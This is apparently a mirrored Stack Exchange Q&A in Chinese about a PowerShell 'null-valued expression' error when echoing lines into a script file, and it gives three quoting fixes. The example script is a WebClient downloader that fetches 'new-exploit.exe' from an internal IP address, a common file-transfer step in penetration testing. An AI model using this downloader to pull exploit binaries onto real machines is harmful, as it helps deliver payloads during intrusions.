You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PowerShell脚本无法下载文件,出现Null-Valued Expression错误求解

解决PowerShell逐行echo创建脚本时的空值表达式错误

问题根源

你遇到的错误本质是PowerShell执行echo命令时,会优先解析命令内的表达式,再输出结果。当你执行最后一行echo $webclient.DownloadFile($url,$file) >> wget.ps1时,当前控制台会话里并没有定义$webclient变量——你只是把定义它的代码写入了脚本文件,并没有在当前会话中执行这段定义代码——所以$webclient是$null,调用它的DownloadFile方法自然会抛出“空值表达式”的错误。而直接运行脚本时,代码是按顺序执行的:先创建$webclient对象,再调用方法,所以能正常工作。

解决方案

这里有几种简单的方法可以避免这个问题:

1. 使用单引号包裹表达式(推荐)

单引号在PowerShell中会将内容当作纯字符串,不会解析变量或方法调用。把最后一行改成这样:

echo '$webclient.DownloadFile($url,$file)' >> wget.ps1

这样PowerShell就不会尝试解析$webclient和$url变量,直接把这段代码原样写入脚本文件。

2. 使用Here-String一次性创建脚本

逐行echo写脚本不仅容易出错,还不够高效。可以用PowerShell的Here-String一次性写入所有脚本内容,完全避免解析问题:

@'
$storageDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://172.16.3.89/new-exploit.exe"
$file = "new-exploit.exe"
$webclient.DownloadFile($url,$file)
'@ > wget.ps1

这里的@'...'@是Here-String语法,会把中间的内容原样输出,不会解析任何变量或表达式。

3. 转义美元符号

在每个$前面加上反引号(),让PowerShell把$`当作普通字符处理,而不是变量的前缀:

echo `$webclient.DownloadFile(`$url,`$file) >> wget.ps1

这种方法也能避免PowerShell提前解析变量,但如果代码里有很多$的话,写起来比较麻烦。

内容的提问来源于stack exchange,提问作者Hasan

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.15 04:30:50